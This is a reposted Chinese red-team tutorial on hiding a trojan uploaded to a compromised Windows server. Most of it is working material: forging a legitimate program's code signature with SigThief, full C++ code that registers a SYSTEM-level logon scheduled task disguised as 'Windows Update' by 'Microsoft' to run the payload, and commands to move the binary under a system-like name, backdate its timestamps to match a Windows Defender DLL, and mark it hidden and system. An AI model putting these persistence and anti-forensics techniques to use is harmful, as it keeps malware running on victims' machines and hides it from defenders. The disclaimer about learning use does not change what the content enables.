红队技术 | 隐藏上传的程序木马_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

红队技术 | 隐藏上传的程序木马

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


红队技术 | 隐藏上传的程序木马

exe 伪装正常程序 https://github.com/secretsquirrel/SigThief python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe -i 为签名文件-t 为需要伪造的文件-o 为输出文件 https://www.trustasia.com/solution/sign-tools 图标提取 https://github.com/JarlPenguin/BeCyIconGrabberPortable 图标替换 Resource hacker 调用计划任务 API 维权 使用计划任务对木马程序做好维权 // Tasksch.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。// #include #define _WIN32_DCOM#include #include #include #include // 引入计划任务头#include #pragma comment(lib, "taskschd.lib")#pragma comment(lib, "comsupp.lib") using namespace std; int __cdecl wmain(){ // 初始化COM HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { printf("\nCoInitializeEx failed: %x", hr); return 1; } // 注册安全性并设置该过程的默认安全性值。 hr = CoInitializeSecurity( NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); LPCWSTR wszTaskName = L"Windows Update"; //设置计划任务名称 //创建ITaskService的实例 ITaskService* pService = NULL; hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (void**)&pService); // 链接到任务实例 hr = pService->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()); // 获取指向根任务文件夹的指针。 ITaskFolder* pRootFolder = NULL; hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder); // 如果存在相同的任务删除该任务 pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0); // 创建任务生成器对象以创建任务。 ITaskDefinition* pTask = NULL; hr = pService->NewTask(0, &pTask); pService->Release(); //清理Com // 获取注册信息 IRegistrationInfo* pRegInfo = NULL; hr = pTask->get_RegistrationInfo(&pRegInfo); BSTR ms = SysAllocString(L"Microsoft"); // 修改你想要改的计划任务创建者 // 创建计划任务设置 ITaskSettings* pSettings = NULL; hr = pTask->get_Settings(&pSettings); // 设置任务的设置值 hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE); pSettings->Release(); // ------------------------------------------------------ // 获取取触发器集合以插入登录触发器。 ITriggerCollection* pTriggerCollection = NULL; hr = pTask->get_Triggers(&pTriggerCollection); // 添加触发器 ITrigger* pTrigger = NULL; hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); //TASK_TRIGGER_EVENT 事件触发 // TASK_TRIGGER_TIME 特定时间触发 // TASK_TRIGGER_DAILY 每天触发 // TASK_TRIGGER_WEEKLY 每周触发 // TASK_TRIGGER_MONTHLY 每月触发 // TASK_TRIGGER_MONTHLYDOW 按每月的星期几触发 // TASK_TRIGGER_IDLE 系统空闲时触发 // TASK_TRIGGER_REGISTRATION 注册任务时触发 // TASK_TRIGGER_BOOT 启动触发 // TASK_TRIGGER_LOGON 用户登录触发 // TASK_TRIGGER_SESSION_STATE_CHANGE 会话更改时触发 pTriggerCollection->Release(); ILogonTrigger* pLogonTrigger = NULL; hr = pTrigger->QueryInterface( IID_ILogonTrigger, (void**)&pLogonTrigger); pTrigger->Release(); hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1")); /* //设置指定触发时间 如果不设置 代表任何时间都可以触发 hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") ); hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") ); */ /* // 定义某个用户 登录时触发 注释掉代表所有用户登录后触发 hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) ); //某用户登录后触发 设置某用户 //put_UserId 获取或设置用户的标识符。参数 BSTR user //HRESULT put_UserId( // BSTR user //); //put_Delay 获取或设置一个值,该值指示用户登录到开始任务之间的时间。参数 BSTR delay //HRESULT put_Delay( // BSTR delay //); pLogonTrigger->Release(); */ IActionCollection* pActionCollection = NULL; hr = pTask->get_Actions(&pActionCollection); IAction* pAction = NULL; hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行:TASK_ACTION_EXEC IExecAction* pExecAction = NULL; hr = pAction->QueryInterface( IID_IExecAction, (void**)&pExecAction); hr = pExecAction->put_Path(_bstr_t(L"C:\\Users\\Public\\AccountPictures\\new_msedge.exe")); pExecAction->Release(); if (FAILED(hr)) { printf(" 无法设置程序执行路径: %x", hr); pRootFolder->Release(); pTask->Release(); CoUninitialize(); return 1; } IRegisteredTask* pRegisteredTask = NULL; hr = pRootFolder->RegisterTaskDefinition( _bstr_t(wszTaskName), pTask, TASK_CREATE_OR_UPDATE, // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE //仅更新:TASK_UPDATE //仅创建:TASK_CREATE //禁用:TASK_DISABLE _variant_t(L"system"), // 启动身份 system 或者administrator _variant_t(), TASK_LOGON_GROUP, //登录技术 组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN _variant_t(L""), &pRegisteredTask); if (FAILED(hr)) { printf("\n无法保存计划任务 : %x", hr); pRootFolder->Release(); pTask->Release(); CoUninitialize(); return 1; } printf("Success!成功注册计划任务 "); // Clean up pRootFolder->Release(); pTask->Release(); pRegisteredTask->Release(); CoUninitialize(); return 0;} https://github.com/0x727/SchTask_0x727 SchTask.exe de.exe 1 运行后会自动迁移程序至 C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes\fontdrvhost.exeC:\Windows\System32\Tasks\Microsoft\Windows\UPnP\fontdrvhostHKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UPnP\fontdrvhost 修改文件时间 当我们上传 cs 木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查出 这时候我们就需要使用一些技巧进行隐藏 https://github.com/MsF-NTDLL/ChTimeStamp 通过这个项目实现修改文件时间,先看看预览效果 net3.5 安装 查看net版本 shell reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+26 /r需要安装net3.5 没有安装一下 shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\Users\hack\Desktop\dotnetfx35.exeDISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\sources\sxs https://github.com/MsF-NTDLL/ChTimeStamp shell copy "C:\Program Files\Windows Defender\MpClient.dll" C:\Users\Public\AccountPictures\MpClient.dllshell C:\Users\Public\AccountPictures\ChTimeStamp.exe C:\Users\Public\AccountPictures\new_msedge.exe C:\Users\Public\AccountPictures\MpClient.dll https://github.com/sorabug/ChangeTimestamp ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27 深度隐藏 exe 在目录下选择查看隐藏文件仍无法查看 attrib +s +h +r xxx.exeattrib -s -h -r C:\Users\Public\sbqs.exe 处理前 处理后 - end - 文章作者: Hyyrent来源:Hyyrent blog 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

红队技术 | 隐藏上传的程序木马